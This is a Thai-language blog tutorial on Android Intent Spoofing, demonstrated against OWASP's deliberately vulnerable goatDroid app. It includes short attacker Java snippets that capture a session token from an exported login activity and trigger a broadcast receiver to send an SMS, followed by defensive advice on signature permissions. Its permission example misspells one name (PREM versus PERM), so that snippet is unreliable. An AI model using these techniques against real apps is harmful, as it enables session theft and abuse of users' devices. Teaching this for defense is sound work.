android - Intent Spoofing



Intent Spoofing คือ ?

สำหรับคนที่ไม่เคยพัฒนา Application ขออธิบายเพียงคร่าวๆ เกี่ยวกับ Intent บน Android
ว่าจริงๆแล้ว Intent ก็คือ Abstract description หรือคำอธิบายของ "การดำเนินการ" ที่จะทำ
ในสายตาของ Android Dev มันก็แค่ชื่อของคลาสๆหนึ่ง  ที่อาจจะใช้ดำเนินการอะไรบางอย่างดังนี้


  • เมื่อเปิดหน้าใหม่ startActivity (มี 2 แบบ  คือเปิดใหม่เฉยๆ หรือ เปิดเพื่อทำอะไรบางอย่างและรอรับค่ากลับ)
  • หรือจะใช้ broadcastIntent ใช้ส่งไปยัง broadcastReceiver ของแอพใดๆก็ได้ที่ให้บริการ
  • startService(Intent) หรือ bindService(Intent, ServiceConnection, int) เพื่อติดต่อกับ Background service


สรุปแล้ว Intent คือสิ่งหนึ่งที่เข้ามาช่วยให้หน้า Activity Android แต่ละหน้า
รวมทั้ง App 2 ตัวสามารถสื่อสารกันได้นั่นเอง


แล้ว Intent Spoofing เป็นยังไงอันตรายอย่างไร ?


ผู้ใช้ที่มี App ที่มีช่องโหว่ Intent Spoofing นี้อยู่บนเครื่อง
อาจถูกโจมตีแอพของ แฮกเกอร์ หรืออาจจะเป็นแอพธรรมดาทั่วไปที่แฝงการทำงานบางอย่างไว้เบื้องหลัง ที่อาจจะสั่งให้เปิดหน้า App จริงๆของ Application นั้นๆ ให้ User ล็อกอินเข้าสู่ระบบ ....แต่ดันรับข้อมูล ที่ตอบกลับทั้งหมดมาเก็บไว้ซะเอง ข้อมูลที่ตอบกลับมานี้ อาจจะเป็น Session ที่ใช้แทนตัวบุคคลได้เลย หรืออาจจะเป็น user token ที่ใช้ตรวจสอบผู้ใช้อีกที ลฯล
 อีกตัวอย่างก็จะเป็นการส่ง SMS จาก Application ที่มีช่องโหว่ไปดูกันเลยครับ



Example with goatDroid




Attacker Application

ทำการเปิดหน้า Activity : SocialAPIAuthentication (หน้าจริง)
ของแอพที่มีช่องโหว่  ในที่นี้ผมทดสอบกับ App : goatDroid  เพื่อให้ผู้ใช้เข้าสู่ระบบและรอรับค่ากลับ


Intent intent = new Intent();
intent.setComponent(new ComponentName("org.owasp.goatdroid.fourgoats","org.owasp.goatdroid.fourgoats.activities.SocialAPIAuthentication"));
startActivityForResult(intent, 1);


ถึงตรงนี้ ...ถ้าผู้ใช้กรอกข้อมูล
ใน callback method ที่ชื่อ onReceiver ของ Attacker app ที่ใช้รอรับค่า Response
จาก  org.owasp.goatdroid.fourgoats.activities.SocialAPIAuthentication
ก็อาจจะแสดงอะไรให้เห็นบางอย่างเช่นนี้



switch(requestCode) {
    case 1:
        if (resultCode == Activity.RESULT_OK) {
            Log.e("result", "SessionToken : "+data.getStringExtra("sessionToken"));            
        break;        
        }
}


อีกตัวอย่าง เช่น

แฮกเกอร์อาจทำการ การ sendBroadcast ไปที่ org.owasp.goatdroid.fourgoats.SOCIAL_SMS
เพื่อใช้งาน Broadcast Receiver ของ Application ที่มีช่องโหว่เพื่อทำการส่ง SMS
แบบนี้



Intent broadcastIntent = new Intent();
broadcastIntent.setAction("org.owasp.goatdroid.fourgoats.SOCIAL_SMS");
broadcastIntent.putExtra("phoneNumber","0899999999");
broadcastIntent.putExtra("message","iak1");
sendBroadcast(broadcastIntent);


ใครที่เคยเขียน Application Android มาบ้างแล้วลองหา App : fourgoats มาเล่นดูครับ



สรุปคำแนะนำวิธีการป้องกันสำหรับ Android Dev
ถ้าต้องการให้ Application อื่นใช้งานร่วมด้วยควรใช้ Custom Permission
เพื่อให้สามารถเข้าถึงได้เฉพาะ App ที่สร้างโดย Keystore เดียวกัน
โดยการประกาศ Tag  permission ไว้รอใน manifest

<permission    
   android:name="com.example.ak1.PREM"    
   android:protectionLevel="signature" />


และอาจจะนำมาใช้งานกับ Broadcase Receiver แบบนี้


<receiver    
  android:name=".OnWifiEnabled"    
  android:permission="com.example.ak1.PERM">    
<intent-filter>        
  <action android:name="android.net.wifi.STATE_CHANGE" />    
</intent-filter>
</receiver>


ถ้าเมื่อจะทำอะไรซักอย่างที่ใช้งานภายใน App เดียว
ก็อย่าลืมประกาศ export="false"


ไม่มีความคิดเห็น:

แสดงความคิดเห็น